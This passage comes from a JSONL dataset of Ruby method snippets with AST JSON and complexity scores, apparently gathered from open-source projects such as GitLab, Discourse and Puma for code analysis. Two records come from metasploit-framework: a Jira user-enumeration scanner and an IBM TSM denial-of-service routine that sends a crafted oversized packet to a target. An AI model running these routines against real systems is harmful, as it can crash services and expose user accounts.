rescue\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_obj\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_obj\"]},\"to_i\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start_obj\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_i\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"invalid_expr\",{\"type\":\"lvar\",\"children\":[\"start_markup\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"end_obj\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_i\"]}]},null,{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"invalid_expr\"]},{\"type\":\"lvar\",\"children\":[\"end_markup\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_expr\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Liquid\"]},\"SyntaxError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid expression type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_expr\"]}]},{\"type\":\"str\",\"children\":[\"' in range expression\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\"]}]}]},null]}]}]}]}]}","id":"ca4ac427-8ce5-4a3b-b89f-82972acc36ad"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/tool_call.rb","start_line":30,"raw_source":"def to_s\n        \"#{name} - #{id} (\\n#{parameters.map(&:to_s).join(\"\\n\")}\\n)\"\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\" (\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n)\"]}]}]}","id":"6836334a-7edb-4bf7-b76d-ec13ba5fd3ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/base_query_builder.rb","start_line":47,"raw_source":"def build_finder_params(params)\n          {}.tap do |finder_params|\n            finder_params[:current_user] = params[:current_user]\n            finder_params[:end_event_filter] = params[:end_event_filter] || DEFAULT_END_EVENT_FILTER\n\n            add_parent_model_params!(finder_params)\n            add_time_range_params!(finder_params, params[:from], params[:to])\n            finder_params.merge!(params.slice(*::Gitlab::Analytics::CycleAnalytics::RequestParams::FINDER_PARAM_NAMES))\n          end\n        end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_finder_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"finder_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"end_event_filter\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end_event_filter\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_END_EVENT_FILTER\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_parent_model_params!\",{\"type\":\"lvar\",\"children\":[\"finder_params\"]}]},{\"type\":\"send\",\"children\":[null,\"add_time_range_params!\",{\"type\":\"lvar\",\"children\":[\"finder_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"from\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finder_params\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Analytics\"]},\"CycleAnalytics\"]},\"RequestParams\"]},\"FINDER_PARAM_NAMES\"]}]}]}]}]}]}]}","id":"f0433a7a-546a-4786-b05f-172f9a6625b8"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/enterprise/account.rb","start_line":6,"raw_source":"def mark_for_deletion(reason = 'manual_deletion')\n    reason = reason.to_s == 'manual_deletion' ? 'manual_deletion' : 'inactivity'\n\n    result = custom_attributes.merge!(\n      'marked_for_deletion_at' => 7.days.from_now.iso8601,\n      'marked_for_deletion_reason' => reason\n    ) && save\n\n    # Send notification to admin users if the account was successfully marked for deletion\n    if result\n      mailer = AdministratorNotifications::AccountNotificationMailer.with(account: self)\n      if reason == 'manual_deletion'\n        mailer.account_deletion_user_initiated(self, reason).deliver_later\n      else\n        mailer.account_deletion_for_inactivity(self, reason).deliver_later\n      end\n    end\n\n    result\n  end","complexity_score":27.08,"ast_json":"{\"type\":\"def\",\"children\":[\"mark_for_deletion\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"reason\",{\"type\":\"str\",\"children\":[\"manual_deletion\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reason\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"manual_deletion\"]}]},{\"type\":\"str\",\"children\":[\"manual_deletion\"]},{\"type\":\"str\",\"children\":[\"inactivity\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"custom_attributes\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"marked_for_deletion_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]},\"from_now\"]},\"iso8601\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"marked_for_deletion_reason\"]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"save\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mailer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdministratorNotifications\"]},\"AccountNotificationMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},\"==\",{\"type\":\"str\",\"children\":[\"manual_deletion\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailer\"]},\"account_deletion_user_initiated\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},\"deliver_later\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailer\"]},\"account_deletion_for_inactivity\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"reason\"]}]},\"deliver_later\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"f2607315-b99a-4651-b016-c64314fb521a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/base_client.rb","start_line":125,"raw_source":"def delete_if_exists(path)\n      result = faraday.delete(path)\n\n      result.success? || result.status == 404\n    end","complexity_score":8.03,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_if_exists\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"faraday\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"status\"]},\"==\",{\"type\":\"int\",\"children\":[404]}]}]}]}]}","id":"ea2cc9d2-bd37-41e0-b529-4fb548f68e05"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/feature_flags/update_service.rb","start_line":92,"raw_source":"def deleted_strategy_message(strategy)\n      scopes = strategy.scopes.map { |scope| scope.environment_scope }.join(', ')\n      \"Deleted strategy #{strategy.name} with environment scopes #{scopes}.\"\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"deleted_strategy_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"strategy\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scopes\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]},\"scopes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"environment_scope\"]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted strategy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strategy\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" with environment scopes \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]}","id":"0710ea6e-d01b-496a-b45f-127ef7e03d0b"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":842,"raw_source":"def test_idle_timeout_between_requests\n    server_run(idle_timeout: 1)\n\n    socket = send_http \"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 12\\r\\n\\r\\n\"\n\n    socket << \"hello world!\"\n\n    response = socket.read_response\n\n    assert_equal \"HTTP/1.1 200 OK\", response.status\n\n    sleep 0.5\n\n    socket = send_http \"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 12\\r\\n\\r\\n\"\n\n    socket << \"hello world!\"\n\n    response = socket.read_response\n\n    assert_equal \"HTTP/1.1 200 OK\", response.status\n\n    sleep 1.15\n\n    assert @server.shutting_down?\n\n    assert socket.wait_readable(1), 'Unexpected timeout'\n    assert_raises Errno::ECONNREFUSED do\n      send_http \"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 12\\r\\n\\r\\n\"\n    end\n  end","complexity_score":26.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_idle_timeout_between_requests\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"idle_timeout\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 12\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"str\",\"children\":[\"hello world!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"read_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.5]}]},{\"type\":\"lvasgn\",\"children\":[\"socket\",{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 12\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"<<\",{\"type\":\"str\",\"children\":[\"hello world!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"read_response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[1.15]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"shutting_down?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"socket\"]},\"wait_readable\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"str\",\"children\":[\"Unexpected timeout\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ECONNREFUSED\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"POST / HTTP/1.1\\r\\nHost: test.com\\r\\nContent-Type: text/plain\\r\\nContent-Length: 12\\r\\n\\r\\n\"]}]}]}]}]}","id":"8664ef96-8ced-4473-8c79-37a9f2192c25"}
{"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":835,"raw_source":"def self.reject(*args, &blk) top.reject(*args, &blk) end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reject\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"top\"]},\"reject\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}]}","id":"d396716e-0a15-4fa9-9227-a5b2aa731343"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/jira_user_enum.rb","start_line":84,"raw_source":"def run_host(_ip)\n    @users_found = []\n\n    print_status(\"Begin enumerating users at #{vhost}#{base_uri}\")\n    each_user_pass do |user, _pass|\n      next if user.empty?\n\n      do_user_enum(user)\n    end\n\n    if @users_found.empty?\n      print_status(\"#{full_uri} - No users found.\")\n    else\n      print_good(\"#{@users_found.length} Users found: #{@users_found.sort.join(', ')}\")\n    end\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@users_found\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Begin enumerating users at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vhost\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_uri\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_user_pass\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"_pass\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"do_user_enum\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users_found\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]},{\"type\":\"str\",\"children\":[\" - No users found.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users_found\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" Users found: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users_found\"]},\"sort\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}]}","id":"5c70aea9-fc57-416e-8ef6-19581452a036"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/approval_configuration.rb","start_line":37,"raw_source":"def fetch_approval_rules\n        parse_body(api_get_from(api_approval_rules_path))\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_approval_rules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"send\",\"children\":[null,\"api_get_from\",{\"type\":\"send\",\"children\":[null,\"api_approval_rules_path\"]}]}]}]}","id":"a8ac948b-a0d7-4e96-ab8c-a1b5f3e9460b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/auth/container_registry_authentication_service.rb","start_line":217,"raw_source":"def scopes\n      return [] unless params[:scopes]\n\n      @scopes ||= params[:scopes].map do |scope|\n        process_scope(scope)\n      end.compact\n    end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"scopes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scopes\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scopes\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[null,\"process_scope\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]},\"compact\"]}]}]}]}","id":"ca41a13f-ecf0-4cb9-b556-467e3147cef6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/ci/runner/jobs_artifacts_spec.rb","start_line":955,"raw_source":"def request_with_second_scope\n          job2.reload\n\n          get api(\"/jobs/#{job2.id}/artifacts\"), params: { token: job2.token }, headers: headers\n        end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request_with_second_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job2\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/jobs/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job2\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"/artifacts\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job2\"]},\"token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"headers\"]}]}]}]}]}]}","id":"163a2e22-ce63-4981-8ef4-987642c5ae99"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/contracts/time_entries/base_contract.rb","start_line":117,"raw_source":"def validate_project_is_set\n      errors.add :project_id, :invalid if model.project.nil?\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_project_is_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]}]},null]}]}","id":"53af2efe-2d7e-4a50-8528-df76ecc1189b"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/sml.rb","start_line":72,"raw_source":"def token_for_id(id)\n        if self.class.keywords.include? id\n          Keyword::Reserved\n        elsif self.class.symbolic_reserved.include? id\n          Punctuation\n        else\n          Name\n        end\n      end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"token_for_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"keywords\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Keyword\"]},\"Reserved\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"symbolic_reserved\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"const\",\"children\":[null,\"Punctuation\"]},{\"type\":\"const\",\"children\":[null,\"Name\"]}]}]}]}","id":"18515da0-f878-42a6-9c03-30ea4fb9dd69"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/misc/ibm_tsm_dos.rb","start_line":67,"raw_source":"def run\n    target_opcode = 0x534\n    connect\n    print_status(\"Connected to: #{rhost} port: #{rport}\")\n    print_status('Sending malicious packet')\n\n    p = tv_pkt(\n      target_opcode,\n      \"File: #{Rex::Text.rand_text_alpha(0x200)} From: 0 To: 0 ChunkLoc: 0 FileLoc: 0\",\n      Rex::Text.rand_text_alpha(0x60),\n      Rex::Text.rand_text_alpha(0x60)\n    )\n\n    sock.put(p)\n    print_status('Packet sent!')\n  rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e\n    print_error(\"Exploit failed: #{e.class} #{e.message}\")\n    elog(e)\n  ensure\n    disconnect\n  end","complexity_score":27.4,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target_opcode\",{\"type\":\"int\",\"children\":[1332]}]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Connected to: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\" port: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending malicious packet\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"tv_pkt\",{\"type\":\"lvar\",\"children\":[\"target_opcode\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[512]}]}]},{\"type\":\"str\",\"children\":[\" From: 0 To: 0 ChunkLoc: 0 FileLoc: 0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[96]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[96]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Packet sent!\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"AddressInUse\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ETIMEDOUT\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionTimeout\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"EOFError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"